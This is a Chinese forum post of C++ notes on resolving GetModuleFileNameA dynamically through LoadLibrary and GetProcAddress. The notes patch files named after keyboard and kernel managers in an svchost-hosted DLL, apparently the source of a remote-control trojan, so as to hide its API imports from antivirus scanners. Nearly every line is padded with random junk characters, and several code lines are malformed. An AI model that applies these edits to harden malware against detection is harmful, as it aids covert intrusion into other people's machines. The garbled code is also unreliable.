返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
$ J8 \3 X1 ?: m/ T% o( T  {svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
$ i' D4 m9 a* O+ }2 u1 f----------------------------------------
  [: p5 I4 ?+ q# l& `7 g1 z5 KDTDY.h:
0 S* \+ b3 x. U5 P4 J! C
% n$ _5 J3 D! H% u#if _MSC_VER>10000 m5 a8 i' v! J4 V4 D( u& R
#pragma once
2 N: ?* d$ i. ]7 {#endif //_MSC_VER>1000  a" Y) A$ w6 C0 v) Y3 I# \
#include<windows.h>
5 L7 `! S% R$ ]) R7 T" _& z$ t
' d: A, f" W/ p+ \  Y& t1 o) otypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);2 ~# K7 W+ o$ N
class DTDY
# D* @, h5 B5 p' V{
, V9 ~6 F% v  Z5 [public:
- R9 y9 Z, L% ]0 Z0 e# K. RDTDY();7 @; W( l2 v0 i* Y
virtual ~DTDY();1 N. `2 d1 t' J& ]7 f2 _
public:" O. T: c8 o/ s2 Q7 ^9 l
static pGetModuleFileNameA MyGetModuleFileName;# r$ r9 F% S! @
static BOOL FunInitiallization();
0 E6 F1 `" l  M9 m9 e6 m};) _: _5 O1 Z! v& i, T4 P, i+ s. U
#endif
$ e7 T% u: I+ ^3 w0 q) R& T----------------------------------------
; D. n3 b% n9 H7 M6 K
4 ?! K" K' E$ q* p& w/ Z( xDTDY.cpp:9 h$ |( c+ B/ E. s/ E8 P: l

6 X4 n+ Y% d2 ~$ m: j: K6 R#include "DTDY.h"
, N7 ^9 u7 ^2 rpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;& V2 b6 c" t" ]" q  ~
DTDY:TDY()
( `8 E& V, L7 S$ I8 t; U5 h/ o{% p7 |  L! F* J( g2 n
}
3 d: G, F1 n* r, Z) R3 d8 q% _DTDY::~DTDY()
! o/ X$ D. O8 A8 R% _{& K" s, U& Z$ g- ?. \! L
}& }% M; F$ b" _
BOOL DTDY::FunInitiallization()
% k, k4 X  _' X! ]5 a( @{
4 C! Z! d9 |$ dHMODULE hModule=LoadLibrary("kernel32.dll");
# i4 z3 ?- T0 s; \" g& z  c. WMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
2 R( O$ g! \' i  Bif(!MyGetModuleFileName=) return FALSE;# C" T2 a. K( Q* S/ A4 ~( d

- W; E* b' J$ L0 Oreturn TRUE;6 @" v/ Y' S% u) V- g
}3 n: O3 |: {" U2 a% F
----------------------------------------
1 ]1 ~4 }. u) ?svchost.cpp:
& a* I  d9 {" F, V, q8 U! S& h' t/ c, V4 G7 ~
#include "DTDY.h"
. v7 h9 c8 U+ K# I6 h2 c) \6 G8 x
5 \( W8 J1 o, ^BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
" H) f5 z5 a4 n% K{9 [% {: B3 v& z  w4 A# P
switch(ul_reason_for_call)
! ?) R& _8 T! }; |8 ~% q{
- r+ E( p0 j7 `/ f; U  xcase DLL_PROCESS_ATTACH:
+ j5 H+ H- |3 Eif(!DTDY::FunInitiallization()) return FALSE;
9 H/ t6 q  X' z; ~3 |; W' a2 L' V. Y3 i) G1 \; M2 z& Z. a" s: y
break;
$ u1 M$ S5 C( l4 B}) f" i! Q# ]1 N! n4 c+ K
}
; C+ [; u$ B- o5 y+ U1 w
' N5 X1 r  {7 U$ B2 Z  `$ I! R4 {
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def5 A$ r, {! i1 o8 N" x  U
改写为
. n" ~* E1 {) ?9 w7 C$ wDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
! z8 I9 n9 D' q* t+ {8 B----------------------------------------# c5 y' W2 N  ?
KernelManager.cpp:
# k  K, N. D& v: m
! N" A7 Q( N. c: h5 N+ I#include "../DTDY.h"4 J0 b+ p- ^. W' L" E
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
5 E# @6 p/ P+ o' S8 f+ t改写为
+ W, n: Y% [6 e" N  GDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
2 X# T" O: O4 y$ W; {----------------------------------------

返回列表